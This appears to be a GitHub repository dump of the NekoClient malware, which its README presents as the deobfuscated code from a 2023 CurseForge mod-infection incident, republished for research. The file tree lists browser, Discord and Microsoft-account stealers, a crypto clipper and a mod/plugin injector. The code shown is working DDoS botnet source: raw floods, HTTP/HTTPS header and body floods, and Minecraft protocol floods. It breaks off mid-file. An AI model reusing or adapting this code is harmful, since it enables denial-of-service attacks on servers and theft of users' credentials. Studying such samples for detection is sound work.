├── README.md └── dev └── neko ├── nekoclient ├── Client.java ├── api │ ├── buffer │ │ ├── FriendlyByteBuffer.java │ │ └── StreamByteBuffer.java │ ├── ddos │ │ ├── Method.java │ │ ├── Protocol.java │ │ ├── ThreadsUnit.java │ │ └── impl │ │ │ └── handler │ │ │ ├── BufferFloodingMethodHandler.java │ │ │ ├── BufferWritingMethodHandler.java │ │ │ ├── MethodHandler.java │ │ │ ├── WriteMethodHandler.java │ │ │ ├── impl │ │ │ ├── general │ │ │ │ └── FloodMethod.java │ │ │ ├── http │ │ │ │ ├── HttpBodyMethod.java │ │ │ │ ├── HttpDefaultMethod.java │ │ │ │ └── HttpHeaderMethod.java │ │ │ ├── https │ │ │ │ ├── HttpsBodyMethod.java │ │ │ │ ├── HttpsDefaultMethod.java │ │ │ │ └── HttpsHeaderMethod.java │ │ │ └── minecraft │ │ │ │ ├── MinecraftEncryptionMethod.java │ │ │ │ ├── MinecraftLargePacketMethod.java │ │ │ │ ├── MinecraftLoginMethod.java │ │ │ │ └── MinecraftStatusPingMethod.java │ │ │ ├── minecraft │ │ │ ├── MinecraftMethodHandler.java │ │ │ ├── ProtocolVersion.java │ │ │ ├── State.java │ │ │ └── type │ │ │ │ ├── Type.java │ │ │ │ └── impl │ │ │ │ ├── BooleanType.java │ │ │ │ ├── BytesType.java │ │ │ │ ├── LongType.java │ │ │ │ ├── StringType.java │ │ │ │ ├── UUIDType.java │ │ │ │ ├── UnsignedShortType.java │ │ │ │ └── VarIntType.java │ │ │ └── ssl │ │ │ ├── SSLBufferFloodingMethodHandler.java │ │ │ ├── SSLBufferWritingMethodHandler.java │ │ │ └── SSLWriteMethodHandler.java │ ├── debugger │ │ └── Debugger.java │ ├── disconnect │ │ ├── DisconnectException.java │ │ └── DisconnectReason.java │ ├── info │ │ ├── ClientInfo.java │ │ ├── OperatingSystem.java │ │ ├── Side.java │ │ ├── User.java │ │ └── VersionInfo.java │ ├── proxy │ │ └── ProxyResponse.java │ ├── stealer │ │ ├── browser │ │ │ ├── BrowserData.java │ │ │ ├── cookie │ │ │ │ └── Cookie.java │ │ │ └── impl │ │ │ │ ├── BrowserDataStealer.java │ │ │ │ ├── credential │ │ │ │ └── Credential.java │ │ │ │ └── decrypt │ │ │ │ ├── chrome │ │ │ │ └── ChromeDecryptor.java │ │ │ │ └── mozilla │ │ │ │ ├── MozillaDecryptor.java │ │ │ │ ├── NSSLibrary.java │ │ │ │ └── SECItem.java │ │ ├── discord │ │ │ ├── DiscordAccount.java │ │ │ └── impl │ │ │ │ └── DiscordStealer.java │ │ └── msa │ │ │ ├── auth │ │ │ ├── ClientType.java │ │ │ ├── MicrosoftAuth.java │ │ │ ├── MinecraftProfile.java │ │ │ └── credentials │ │ │ │ ├── MicrosoftCredentials.java │ │ │ │ ├── MinecraftCredentials.java │ │ │ │ ├── XSTSCredentials.java │ │ │ │ └── XboxLiveCredentials.java │ │ │ └── impl │ │ │ └── MSAStealer.java │ └── windows │ │ ├── FileDescriptor.java │ │ ├── WindowsHook.java │ │ └── vmescape │ │ └── VMEscape.java ├── module │ ├── Module.java │ ├── ModuleRegistry.java │ └── impl │ │ └── CryptoClipperModule.java ├── packet │ ├── Direction.java │ ├── Packet.java │ ├── PacketRegistry.java │ ├── impl │ │ ├── NoncePacket.java │ │ ├── client │ │ │ ├── ActionResponsePacket.java │ │ │ ├── BrowserDataResponsePacket.java │ │ │ ├── DiscordResponsePacket.java │ │ │ ├── ExodusResponsePacket.java │ │ │ ├── HelloPacket.java │ │ │ ├── KeepAlivePacket.java │ │ │ ├── MSAResponsePacket.java │ │ │ └── ProxyResponsePacket.java │ │ └── server │ │ │ ├── CommandPacket.java │ │ │ ├── DDoSPacket.java │ │ │ ├── DisconnectPacket.java │ │ │ ├── HelloPacket.java │ │ │ ├── KeepAlivePacket.java │ │ │ ├── ProxyPacket.java │ │ │ ├── RequestBrowserDataPacket.java │ │ │ ├── RequestDiscordPacket.java │ │ │ ├── RequestExodusPacket.java │ │ │ ├── RequestMSAPacket.java │ │ │ └── UpdateModulePacket.java │ └── listener │ │ ├── PacketListener.java │ │ └── impl │ │ ├── CommandPacketListener.java │ │ ├── DDoSPacketListener.java │ │ ├── DisconnectPacketListener.java │ │ ├── HelloPacketListener.java │ │ ├── ProxyPacketListener.java │ │ ├── RequestBrowserDataPacketListener.java │ │ ├── RequestDiscordPacketListener.java │ │ ├── RequestExodusPacketListener.java │ │ ├── RequestMSAPacketListener.java │ │ └── UpdateModulePacketListener.java ├── structure │ ├── Registry.java │ └── ThrowingRunnable.java └── utils │ ├── DNSUtil.java │ ├── EncodingUtil.java │ ├── FormUtil.java │ ├── GraphicUtil.java │ ├── HardwareIDUtil.java │ ├── HashUtil.java │ ├── JsonUtil.java │ ├── ObjectUtil.java │ └── SystemUtil.java └── nekoinjector ├── Injector.java ├── Loader.java ├── asm ├── Entry.java └── EntryList.java ├── template ├── SimpleTemplate.java ├── Template.java └── impl │ ├── BungeecordPluginTemplate.java │ ├── FabricModTemplate.java │ ├── ForgeModTemplate.java │ ├── MinecraftClientTemplate.java │ └── SpigotPluginTemplate.java └── utils ├── EncodingUtil.java └── ListUtil.java /README.md: -------------------------------------------------------------------------------- 1 | # NekoClient 2 | 3 | It appears that the attacker behind CurseForge's June 2023 malware incident posted a deobfuscated version of their malware by accident. 4 | Here it is on Github for public research purposes. 5 | 6 | No, I am not the author of this, nor am I responsible for infecting your servers. -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/buffer/FriendlyByteBuffer.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.buffer; 2 | 3 | import java.io.EOFException; 4 | import java.io.IOException; 5 | import java.nio.Buffer; 6 | import java.nio.ByteBuffer; 7 | import java.nio.channels.SocketChannel; 8 | import java.util.Objects; 9 | 10 | public class FriendlyByteBuffer { 11 | private final ByteBuffer buffer; 12 | 13 | public FriendlyByteBuffer(ByteBuffer buffer) { 14 | this.buffer = buffer; 15 | } 16 | 17 | public final byte get() { 18 | return this.buffer.get(); 19 | } 20 | 21 | public final int getInt() { 22 | return this.buffer.getInt(); 23 | } 24 | 25 | public final long getLong() { 26 | return this.buffer.getLong(); 27 | } 28 | 29 | public final char getChar() { 30 | return this.buffer.getChar(); 31 | } 32 | 33 | public final double getDouble() { 34 | return this.buffer.getDouble(); 35 | } 36 | 37 | public final float getFloat() { 38 | return this.buffer.getFloat(); 39 | } 40 | 41 | public final short getShort() { 42 | return this.buffer.getShort(); 43 | } 44 | 45 | public final byte[] getBytes() { 46 | int length = this.buffer.getInt(); 47 | if (length < 0) { 48 | return null; 49 | } else { 50 | byte[] bytes = new byte[length]; 51 | this.buffer.get(bytes); 52 | return bytes; 53 | } 54 | } 55 | 56 | public final byte[] array() { 57 | return this.buffer.array(); 58 | } 59 | 60 | public static FriendlyByteBuffer readFully(SocketChannel channel, int length) throws IOException { 61 | ByteBuffer buffer = ByteBuffer.allocate(length); 62 | 63 | while(buffer.remaining() > 0) { 64 | if (Objects.equals(channel.read(buffer), -1) && buffer.remaining() > 0) { 65 | throw new EOFException(); 66 | } 67 | } 68 | 69 | ((Buffer)buffer).flip(); 70 | return new FriendlyByteBuffer(buffer); 71 | } 72 | 73 | public final int getUnsignedShort() { 74 | return this.buffer.getShort() & 65535; 75 | } 76 | 77 | public final boolean getBoolean() { 78 | return this.buffer.get() == 1; 79 | } 80 | 81 | public final String getString() { 82 | byte[] bytes = this.getBytes(); 83 | return Objects.isNull(bytes) ? null : new String(bytes); 84 | } 85 | 86 | public final ByteBuffer getBuffer() { 87 | return this.buffer; 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/buffer/StreamByteBuffer.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.buffer; 2 | 3 | import java.nio.Buffer; 4 | import java.nio.ByteBuffer; 5 | import java.util.Objects; 6 | 7 | public class StreamByteBuffer { 8 | private ByteBuffer buffer = ByteBuffer.allocate(0); 9 | 10 | public StreamByteBuffer put(byte b) { 11 | this.expand(1); 12 | this.buffer.put(b); 13 | return this; 14 | } 15 | 16 | public StreamByteBuffer put(byte[] bytes) { 17 | this.expand(bytes.length); 18 | this.buffer.put(bytes); 19 | return this; 20 | } 21 | 22 | public StreamByteBuffer putLong(long l) { 23 | this.expand(8); 24 | this.buffer.putLong(l); 25 | return this; 26 | } 27 | 28 | public StreamByteBuffer putInt(int i) { 29 | this.expand(4); 30 | this.buffer.putInt(i); 31 | return this; 32 | } 33 | 34 | public StreamByteBuffer putDouble(double d) { 35 | this.expand(8); 36 | this.buffer.putDouble(d); 37 | return this; 38 | } 39 | 40 | public StreamByteBuffer putChar(char c) { 41 | this.expand(2); 42 | this.buffer.putChar(c); 43 | return this; 44 | } 45 | 46 | public StreamByteBuffer putShort(short s) { 47 | this.expand(2); 48 | this.buffer.putShort(s); 49 | return this; 50 | } 51 | 52 | public StreamByteBuffer putFloat(float f) { 53 | this.expand(4); 54 | this.buffer.putFloat(f); 55 | return this; 56 | } 57 | 58 | public StreamByteBuffer putBoolean(boolean b) { 59 | return this.put((byte)(b ? 1 : 0)); 60 | } 61 | 62 | public StreamByteBuffer putString(String string) { 63 | return this.putBytes(Objects.isNull(string) ? null : string.getBytes()); 64 | } 65 | 66 | public StreamByteBuffer putBytes(byte[] bytes) { 67 | if (Objects.isNull(bytes)) { 68 | this.putInt(-1); 69 | } else { 70 | this.putInt(bytes.length); 71 | this.put(bytes); 72 | } 73 | 74 | return this; 75 | } 76 | 77 | public StreamByteBuffer putUnsignedShort(int s) { 78 | this.expand(2); 79 | this.buffer.putShort((short)(s & 65535)); 80 | return this; 81 | } 82 | 83 | public void expand(int expansion) { 84 | ByteBuffer buffer = ByteBuffer.allocate(this.buffer.capacity() + expansion); 85 | ((Buffer)this.buffer).flip(); 86 | buffer.put(this.buffer); 87 | this.buffer = buffer; 88 | } 89 | 90 | public ByteBuffer getBuffer() { 91 | return this.buffer; 92 | } 93 | 94 | public ByteBuffer flip() { 95 | ((Buffer)this.buffer).flip(); 96 | return this.buffer; 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/Method.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos; 2 | 3 | import dev.neko.nekoclient.api.ddos.impl.handler.MethodHandler; 4 | import dev.neko.nekoclient.api.ddos.impl.handler.impl.general.FloodMethod; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.impl.http.HttpBodyMethod; 6 | import dev.neko.nekoclient.api.ddos.impl.handler.impl.http.HttpDefaultMethod; 7 | import dev.neko.nekoclient.api.ddos.impl.handler.impl.http.HttpHeaderMethod; 8 | import dev.neko.nekoclient.api.ddos.impl.handler.impl.https.HttpsBodyMethod; 9 | import dev.neko.nekoclient.api.ddos.impl.handler.impl.https.HttpsDefaultMethod; 10 | import dev.neko.nekoclient.api.ddos.impl.handler.impl.https.HttpsHeaderMethod; 11 | import dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft.MinecraftEncryptionMethod; 12 | import dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft.MinecraftLargePacketMethod; 13 | import dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft.MinecraftLoginMethod; 14 | import dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft.MinecraftStatusPingMethod; 15 | import java.util.function.Supplier; 16 | 17 | public enum Method { 18 | FLOOD(FloodMethod::new), 19 | HTTP_DEFAULT(HttpDefaultMethod::new), 20 | HTTP_BODY(HttpBodyMethod::new), 21 | HTTP_HEADER(HttpHeaderMethod::new), 22 | HTTPS_DEFAULT(HttpsDefaultMethod::new), 23 | HTTPS_BODY(HttpsBodyMethod::new), 24 | HTTPS_HEADER(HttpsHeaderMethod::new), 25 | MINECRAFT_STATUS_PING(MinecraftStatusPingMethod::new), 26 | MINECRAFT_LOGIN(MinecraftLoginMethod::new), 27 | MINECRAFT_LARGE_PACKET(MinecraftLargePacketMethod::new), 28 | MINECRAFT_ENCRYPTION(MinecraftEncryptionMethod::new); 29 | 30 | private final Supplier handler; 31 | 32 | private Method(Supplier handler) { 33 | this.handler = handler; 34 | } 35 | 36 | public final MethodHandler createHandler() { 37 | return this.handler.get(); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/Protocol.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos; 2 | 3 | public enum Protocol { 4 | TCP, 5 | UDP; 6 | } 7 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/ThreadsUnit.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos; 2 | 3 | public enum ThreadsUnit { 4 | THREADS, 5 | THREADS_PER_CORE; 6 | } 7 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/BufferFloodingMethodHandler.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler; 2 | 3 | import java.io.IOException; 4 | import java.nio.ByteBuffer; 5 | import java.nio.channels.ByteChannel; 6 | import java.util.function.Supplier; 7 | 8 | public abstract class BufferFloodingMethodHandler extends WriteMethodHandler { 9 | protected ByteBuffer buffer; 10 | 11 | @Override 12 | public void handle(ByteChannel channel, Supplier connected) throws IOException { 13 | while(connected.get()) { 14 | channel.write(this.buffer.duplicate()); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/BufferWritingMethodHandler.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler; 2 | 3 | import java.io.IOException; 4 | import java.nio.ByteBuffer; 5 | import java.nio.channels.ByteChannel; 6 | import java.util.function.Supplier; 7 | 8 | public abstract class BufferWritingMethodHandler extends WriteMethodHandler { 9 | protected ByteBuffer buffer; 10 | 11 | @Override 12 | public void handle(ByteChannel channel, Supplier connected) throws IOException { 13 | channel.write(this.buffer.duplicate()); 14 | channel.close(); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/MethodHandler.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import java.io.IOException; 6 | import java.net.InetSocketAddress; 7 | 8 | public interface MethodHandler { 9 | void init(Protocol var1, InetSocketAddress var2, String var3, JsonObject var4) throws IOException, IllegalArgumentException; 10 | 11 | void run(Protocol var1, InetSocketAddress var2) throws IOException; 12 | 13 | default void cleanup() { 14 | } 15 | 16 | default InetSocketAddress transformAddress(InetSocketAddress address, String host) { 17 | return address; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/WriteMethodHandler.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler; 2 | 3 | import dev.neko.nekoclient.api.ddos.Protocol; 4 | import java.io.IOException; 5 | import java.net.InetSocketAddress; 6 | import java.nio.channels.ByteChannel; 7 | import java.nio.channels.DatagramChannel; 8 | import java.nio.channels.SocketChannel; 9 | import java.util.function.Supplier; 10 | 11 | public abstract class WriteMethodHandler implements MethodHandler { 12 | public abstract void handle(ByteChannel var1, Supplier var2) throws IOException; 13 | 14 | @Override 15 | public void run(Protocol protocol, InetSocketAddress address) throws IOException { 16 | switch(protocol) { 17 | case TCP: 18 | SocketChannel socketChannel = SocketChannel.open(); 19 | socketChannel.socket().setSoTimeout(20000); 20 | socketChannel.connect(address); 21 | if (socketChannel.finishConnect()) { 22 | this.handle(socketChannel, socketChannel::isConnected); 23 | } 24 | break; 25 | case UDP: 26 | DatagramChannel datagramChannel = DatagramChannel.open(); 27 | datagramChannel.socket().setSoTimeout(20000); 28 | datagramChannel.connect(address); 29 | this.handle(datagramChannel, datagramChannel::isConnected); 30 | } 31 | } 32 | 33 | @Override 34 | public void cleanup() { 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/impl/general/FloodMethod.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.impl.general; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.BufferWritingMethodHandler; 6 | import java.net.InetSocketAddress; 7 | import java.nio.ByteBuffer; 8 | import java.util.Random; 9 | 10 | public class FloodMethod extends BufferWritingMethodHandler { 11 | @Override 12 | public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) { 13 | byte[] bytes = new byte[10024]; 14 | new Random().nextBytes(bytes); 15 | this.buffer = ByteBuffer.wrap(bytes); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/impl/http/HttpBodyMethod.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.impl.http; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.BufferWritingMethodHandler; 6 | import java.io.IOException; 7 | import java.net.InetSocketAddress; 8 | import java.nio.Buffer; 9 | import java.nio.ByteBuffer; 10 | import java.util.Objects; 11 | import java.util.Random; 12 | 13 | public class HttpBodyMethod extends BufferWritingMethodHandler { 14 | @Override 15 | public void init(Protocol protocol, InetSocketAddress address, String originalHost, JsonObject options) throws IOException { 16 | byte[] content = new byte[100000]; 17 | new Random().nextBytes(content); 18 | String host = options.getString("host", originalHost); 19 | String method = options.getString("method", "GET"); 20 | String path = options.getString("path", "/"); 21 | String contentType = options.getString("contentType", null); 22 | String accept = options.getString("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"); 23 | String userAgent = options.getString("userAgent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"); 24 | StringBuilder request = new StringBuilder() 25 | .append(method) 26 | .append(" ") 27 | .append(path) 28 | .append(" ") 29 | .append("HTTP/1.1") 30 | .append("\r\n") 31 | .append("Accept: ") 32 | .append(accept) 33 | .append("\r\n") 34 | .append("Accept-Language: en-US,en;q=0.5") 35 | .append("\r\n") 36 | .append("User-Agent: ") 37 | .append(userAgent) 38 | .append("\r\n") 39 | .append("Connection: keep-alive") 40 | .append("\r\n") 41 | .append("Content-Length: ") 42 | .append(content.length) 43 | .append("\r\n") 44 | .append("Host: ") 45 | .append(host) 46 | .append("\r\n"); 47 | if (Objects.nonNull(contentType)) { 48 | request.append("Content-Type: ").append(contentType).append("\r\n"); 49 | } 50 | 51 | request.append("\r\n"); 52 | byte[] requestBytes = request.toString().getBytes(); 53 | this.buffer = ByteBuffer.allocate(requestBytes.length + content.length); 54 | this.buffer.put(requestBytes); 55 | this.buffer.put(content); 56 | ((Buffer)this.buffer).flip(); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/impl/http/HttpDefaultMethod.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.impl.http; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.BufferWritingMethodHandler; 6 | import java.io.IOException; 7 | import java.net.InetSocketAddress; 8 | import java.nio.ByteBuffer; 9 | 10 | public class HttpDefaultMethod extends BufferWritingMethodHandler { 11 | @Override 12 | public void init(Protocol protocol, InetSocketAddress address, String originalHost, JsonObject options) throws IOException { 13 | String host = options.getString("host", originalHost); 14 | String method = options.getString("method", "GET"); 15 | String path = options.getString("path", "/"); 16 | String accept = options.getString("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"); 17 | String userAgent = options.getString("userAgent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"); 18 | this.buffer = ByteBuffer.wrap( 19 | (method 20 | + " " 21 | + path 22 | + " " 23 | + "HTTP/1.1" 24 | + "\r\n" 25 | + "Accept: " 26 | + accept 27 | + "\r\n" 28 | + "Accept-Language: en-US,en;q=0.5" 29 | + "\r\n" 30 | + "User-Agent: " 31 | + userAgent 32 | + "\r\n" 33 | + "Connection: keep-alive" 34 | + "\r\n" 35 | + "Host: " 36 | + host 37 | + "\r\n" 38 | + "\r\n") 39 | .getBytes() 40 | ); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/impl/http/HttpHeaderMethod.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.impl.http; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.WriteMethodHandler; 6 | import java.io.IOException; 7 | import java.net.InetSocketAddress; 8 | import java.nio.ByteBuffer; 9 | import java.nio.channels.ByteChannel; 10 | import java.util.Arrays; 11 | import java.util.function.Supplier; 12 | 13 | public class HttpHeaderMethod extends WriteMethodHandler { 14 | private ByteBuffer firstBuffer; 15 | private ByteBuffer spamBuffer; 16 | 17 | @Override 18 | public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IOException { 19 | String method = options.getString("method", "GET"); 20 | String path = options.getString("path", "/"); 21 | String header = options.getString("header", "User-Agent"); 22 | this.firstBuffer = ByteBuffer.wrap((method + " " + path + " " + "HTTP/1.1" + "\r\n" + header + ": ").getBytes()); 23 | byte[] bytes = new byte[10000]; 24 | Arrays.fill(bytes, (byte)97); 25 | this.spamBuffer = ByteBuffer.wrap(bytes); 26 | } 27 | 28 | @Override 29 | public void handle(ByteChannel channel, Supplier connected) throws IOException { 30 | channel.write(this.firstBuffer.duplicate()); 31 | 32 | while(connected.get()) { 33 | channel.write(this.spamBuffer.duplicate()); 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/impl/https/HttpsBodyMethod.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.impl.https; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.ssl.SSLBufferWritingMethodHandler; 6 | import java.io.IOException; 7 | import java.net.InetSocketAddress; 8 | 9 | public class HttpsBodyMethod extends SSLBufferWritingMethodHandler { 10 | @Override 11 | public void init(Protocol protocol, InetSocketAddress address, String originalHost, JsonObject options) throws IOException, IllegalArgumentException { 12 | String host = options.getString("host", originalHost); 13 | String method = options.getString("method", "GET"); 14 | String path = options.getString("path", "/"); 15 | String accept = options.getString("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"); 16 | String userAgent = options.getString("userAgent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"); 17 | this.buffer = (method 18 | + " " 19 | + path 20 | + " " 21 | + "HTTP/1.1" 22 | + "\r\n" 23 | + "Accept: " 24 | + accept 25 | + "\r\n" 26 | + "Accept-Language: en-US,en;q=0.5" 27 | + "\r\n" 28 | + "User-Agent: " 29 | + userAgent 30 | + "\r\n" 31 | + "Connection: close" 32 | + "\r\n" 33 | + "Host: " 34 | + host 35 | + "\r\n" 36 | + "\r\n") 37 | .getBytes(); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/impl/https/HttpsDefaultMethod.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.impl.https; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.ssl.SSLBufferWritingMethodHandler; 6 | import java.io.IOException; 7 | import java.net.InetSocketAddress; 8 | 9 | public class HttpsDefaultMethod extends SSLBufferWritingMethodHandler { 10 | @Override 11 | public void init(Protocol protocol, InetSocketAddress address, String originalHost, JsonObject options) throws IOException, IllegalArgumentException { 12 | String host = options.getString("host", originalHost); 13 | String method = options.getString("method", "GET"); 14 | String path = options.getString("path", "/"); 15 | String accept = options.getString("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"); 16 | String userAgent = options.getString("userAgent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"); 17 | this.buffer = (method 18 | + " " 19 | + path 20 | + " " 21 | + "HTTP/1.1" 22 | + "\r\n" 23 | + "Accept: " 24 | + accept 25 | + "\r\n" 26 | + "Accept-Language: en-US,en;q=0.5" 27 | + "\r\n" 28 | + "User-Agent: " 29 | + userAgent 30 | + "\r\n" 31 | + "Connection: close" 32 | + "\r\n" 33 | + "Host: " 34 | + host 35 | + "\r\n" 36 | + "\r\n") 37 | .getBytes(); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/impl/https/HttpsHeaderMethod.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.impl.https; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.ssl.SSLWriteMethodHandler; 6 | import java.io.IOException; 7 | import java.io.OutputStream; 8 | import java.net.InetSocketAddress; 9 | import java.util.Arrays; 10 | import javax.net.ssl.SSLSocket; 11 | 12 | public class HttpsHeaderMethod extends SSLWriteMethodHandler { 13 | private byte[] firstBuffer; 14 | private byte[] spamBuffer; 15 | 16 | @Override 17 | public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IOException { 18 | String method = options.getString("method", "GET"); 19 | String path = options.getString("path", "/"); 20 | String header = options.getString("header", "User-Agent"); 21 | this.firstBuffer = (method + " " + path + " " + "HTTP/1.1" + "\r\n" + header + ": ").getBytes(); 22 | this.spamBuffer = new byte[10000]; 23 | Arrays.fill(this.spamBuffer, (byte)97); 24 | } 25 | 26 | @Override 27 | public void handle(SSLSocket socket) throws IOException { 28 | OutputStream outputStream = socket.getOutputStream(); 29 | outputStream.write(this.firstBuffer); 30 | 31 | while(socket.isConnected()) { 32 | outputStream.write(this.spamBuffer); 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/impl/minecraft/MinecraftEncryptionMethod.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.MinecraftMethodHandler; 6 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.State; 7 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type; 8 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.BytesType; 9 | import java.io.IOException; 10 | import java.math.BigInteger; 11 | import java.net.InetSocketAddress; 12 | import java.nio.ByteBuffer; 13 | import java.nio.channels.SocketChannel; 14 | import java.security.SecureRandom; 15 | import java.util.Objects; 16 | import java.util.UUID; 17 | 18 | public class MinecraftEncryptionMethod extends MinecraftMethodHandler { 19 | private boolean waitForRequest; 20 | private ByteBuffer handshakePacket; 21 | private ByteBuffer encryptionResponsePacket; 22 | private final SecureRandom random = new SecureRandom(); 23 | 24 | @Override 25 | public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException { 26 | super.init(protocol, address, host, options); 27 | this.waitForRequest = options.getBoolean("waitForRequest", false); 28 | this.handshakePacket = this.createHandshakePacket(this.protocolVersion, this.host, this.port, State.LOGIN); 29 | byte[] bytes = new byte[1048560]; 30 | this.random.nextBytes(bytes); 31 | this.encryptionResponsePacket = this.createPacket(1, new Type[]{new BytesType(bytes), new BytesType(bytes)}); 32 | } 33 | 34 | @Override 35 | public void handle(SocketChannel channel) throws IOException { 36 | channel.write(this.handshakePacket.duplicate()); 37 | channel.write(this.createLoginStartPacket(new BigInteger(64, this.random).toString(16), UUID.randomUUID())); 38 | if (!this.waitForRequest || Objects.equals(this.readPacket(channel).getId(), 1)) { 39 | channel.write(this.encryptionResponsePacket.duplicate()); 40 | } 41 | 42 | channel.close(); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/ddos/impl/handler/impl/minecraft/MinecraftLargePacketMethod.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft; 2 | 3 | import com.eclipsesource.json.JsonObject; 4 | import dev.neko.nekoclient.api.ddos.Protocol; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.MinecraftMethodHandler; 6 | import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.VarIntType; 7 | import java.io.IOException; 8 | import java.net.InetSocketAddress; 9 | import java.nio.Buffer; 10 | import java.nio.ByteBuffer; 11 | import java.nio.channels.SocketChannel; 12 | import java.util.Arrays; 13 | 14 | public class MinecraftLargePacketMethod extends MinecraftMethodHandler { 15 | private ByteBuffer buffer; 16 | 17 | @Override 18 | public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException { 19 | VarIntType packetLength = new VarIntType(2097151); 20 | this.buffer = 